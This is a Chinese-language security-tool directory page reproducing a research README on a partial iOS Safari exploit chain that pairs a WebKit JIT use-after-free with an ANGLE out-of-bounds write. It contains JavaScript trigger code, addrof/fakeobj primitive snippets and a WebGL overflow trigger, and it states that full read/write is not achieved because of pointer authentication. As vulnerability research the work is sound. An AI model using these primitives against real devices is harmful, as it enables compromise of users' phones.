Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
WebKit-UAF-ANGLE-OOB-Analysis — CVE-2025-43529 (WebKit UAF) + CVE-2025-14174 (ANGLE OOB) 漏洞利用链分析 - iOS Safari | Kitploit
工具/GitHubGitHub/0xjohnnydev/webkit-uaf-angle-oob-analysis
iOS安全漏洞分析漏洞利用逆向工程Web安全移动安全论文与研究二进制利用
GitHub

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
0xjohnnydev/webkit-uaf-angle-oob-analysis

WebKit-UAF-ANGLE-OOB-Analysis

CVE-2025-43529 (WebKit UAF) + CVE-2025-14174 (ANGLE OOB) 漏洞利用链分析 - iOS Safari

查看仓库
103211个月前Kitploit 审核通过

WebKit-UAF-ANGLE-OOB-Analysis (CVE-2025-43529, CVE-2025-14174)

关于 iOS 26.1 上 WebKit/ANGLE 链的笔记与 PoC 材料。这不是一个完整的漏洞利用;它将已验证的原语与仍然失败的部分区分开来。

作者: zeroxjf
基于: jir4vv1t 的 CVE-2025-43529 漏洞利用
状态: 部分链;任意读/写尚未证实
测试设备: iPhone 11 Pro Max,iOS 26.1
最后更新: 2026 年 1 月


范围与致谢

CVE-2025-43529 的 UAF 触发、butterfly 回收以及 addrof/fakeobj 原语基于 jir4vv1t 的工作。我的新增部分为 ANGLE OOB 管道、针对 PAC 的分析以及 iOS 26.1 验证。

概述

两个 WebKit CVE 同时披露,Apple 报告称其已被在野利用。

CVE组件类型摘要
CVE-2025-43529JavaScriptCore释放后使用(UAF)DFG JIT 缺少写屏障,导致 GC 释放存活对象
CVE-2025-14174ANGLE (GPU)越界写入(OOB)Metal 后端在分配暂存缓冲区时使用了错误的高度

CVE-2025-43529:WebKit DFG 存储屏障 UAF

根本原因

该漏洞位于 JavaScriptCore 的 DFG JIT 中,具体是存储屏障插入阶段(DFGStoreBarrierInsertionPhase.cpp)。

当 Phi 节点逃逸但其 Upsilon 输入未被标记为已逃逸时,后续的存储将缺少写屏障。这使得 GC 可以释放仍然可达的对象。

触发机制

root@kitploit:~
function triggerUAF(flag, k, allocCount) {
    let A = { p0: 0x41414141, p1: 1.1, p2: 2.2 };
    arr[arr_index] = A;  // A in old space

    let a = new Date(1111);
    a[0] = 1.1;  // Creates butterfly for Date

    // Force GC
    for (let j = 0; j < allocCount; ++j) {
        forGC.push(new ArrayBuffer(0x800000));
    }

    let b = { p0: 0x42424242, p1: 1.1 };

    // Phi node - the bug
    let f = b;
    if (flag) f = 1.1;

    A.p1 = f;  // Phi escapes, but 'b' NOT marked as escaped

    // Long loop = GC race window
    for (let i = 0; i < 1e6; ++i) { /* ... */ }

    b.p1 = a;  // NO WRITE BARRIER - 'a' freed while still reachable
}

利用概要

已释放的 Date 的 butterfly 可以被 spray 数组回收,从而造成类型混淆:

root@kitploit:~
// After reclaim:
boxed_arr[0] = obj;           // Store object reference
addr = ftoi(unboxed_arr[0]);  // Read as float64 = leaked address

unboxed_arr[0] = itof(addr);  // Write address as float64
fake = boxed_arr[0];          // Read as object = fakeobj

当前结果(iPhone 11 Pro Max,iOS 26.1)

  • addrof/fakeobj: 已在探针运行中验证
  • 地址泄露: 每次运行可捕获 20 多个对象地址
  • 内联存储读/写: 已针对已知内联槽位验证(基于对象地址)
  • 任意读/写: 尚未证实;当前运行中后备存储扫描验证失败

CVE-2025-14174:ANGLE Metal 后端越界写入

根本原因

在 ANGLE 的 Metal 后端(TextureMtl.cpp)中,通过 PBO 上传时,暂存缓冲区分配使用的是 UNPACK_IMAGE_HEIGHT 而非实际纹理高度。

触发

root@kitploit:~
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16);  // Small value

// Staging buffer: 256 * 16 * 4 = 16KB
// Actual write:   256 * 256 * 4 = 256KB
// OOB: 240KB!

gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
              256, 256, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0);

PAC 问题

是什么阻碍了完整利用

在 arm64e(iPhone 11 Pro Max)上,指针认证码(PAC) 保护着关键的 JSC 指针:

指针受保护结果
TypedArray m_vector是无法伪造具有任意后备存储的 TypedArray
JSArray butterfly是无法伪造具有任意 butterfly 的 JSArray

当我尝试使用任意数据指针创建伪造的 TypedArray/JSArray 时,PAC 验证失败并导致崩溃:

root@kitploit:~
Exception: EXC_BAD_ACCESS
KERN_INVALID_ADDRESS at 0x0001fffffffffffc -> 0x0000007ffffffffc
(possible pointer authentication failure)

为什么最初的混淆有效

类型混淆之所以成功,是因为两个数组都使用合法签名的 butterfly 指针——我们只是重新解释同一块内存。带有任意未签名指针的伪造对象会在 PAC 检查时崩溃。

尚未证实的绕过途径

  1. 使用来自合法对象的已签名指针、且无需重新认证攻击者控制字段的 JIT 路径。
  2. 一个可达的签名 gadget 或 API,能够以正确的上下文为受控数据指针签名。
  3. 对 ANGLE OOB 的一种不同利用方式,完全避开伪造 TypedArray/JSArray 后备存储。

当前能力


证据摘要(最近一次探针运行)

  • 已验证: addrof、fakeobj、地址泄露、已知对象上的内联槽位读/写
  • 未验证: 任意 read64/write64、渲染器→GPU 逃逸链、沙箱逃逸
  • ANGLE 探针: 已实现 WebGL2 PBO 路径;当前运行中未确认触发

仓库结构

root@kitploit:~
├── README.md                 # This file
├── poc/
│   └── chained_exploit_probe.html
└── analysis/
    ├── pac_analysis.md       # Detailed PAC findings
    └── crash_logs/           # Example crash reports

致谢

CVE-2025-43529 的触发、butterfly 回收技术以及 addrof/fakeobj 构造基于 jir4vv1t/CVE-2025-43529。本仓库新增了 iOS 26.1 验证、PAC 说明和 ANGLE OOB 管道。


参考

  • jir4vv1t/CVE-2025-43529 - 原始 UAF 漏洞利用与分析
  • WebKit Bugzilla:302502、303614
  • Apple 安全更新 - iOS 26
  • Google 威胁分析小组

当前状态: 可用于复现 JSC 原语和 PAC 阻碍问题;尚不是完整的漏洞利用链。

下载工具
原语状态备注
addrof(obj)可用已在探针中验证
fakeobj(addr)可用已针对已知对象验证
地址泄露可用每次运行 20+ 个地址
内联槽位读/写可用已在已知内联槽位上验证(基于对象地址)
read64(addr)未验证通过内联槽位技巧构建,验证失败
write64(addr)未验证通过内联槽位技巧构建,验证失败